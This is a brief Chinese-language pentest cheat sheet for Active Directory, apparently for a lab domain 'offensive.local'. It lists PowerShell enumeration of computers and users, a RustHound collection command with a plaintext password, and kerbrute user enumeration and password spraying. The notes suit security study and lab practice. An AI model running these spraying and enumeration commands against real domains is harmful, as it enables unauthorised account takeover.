information

• 在域控机器执行,获取机器名字,系统版本,ip地址

get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address

• 上面的命令加个导出为csv文件

get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address | Export-Csv c:\temp\AD.csv -encoding utf8

• 在域控用户的名字,Sid,group

get-ADUser -filter * -properties * | select Name,Sid,DistinguishedName

• rustbloud导出域信息

./rusthound -d offensive.local -f DC.offensive.local -u dbadmin -p Admin12345 -z

• kerbrute域内用户和密码喷洒

验证用户存在

kerbrute_windows_amd64.exe userenum --dc 192.168.1.1 -d offensive.local user.txt

喷洒密码

kerbrute_windows_amd64.exe passwordspray --dc 192.168.1.1 -d offensive.local user.txt Admin12345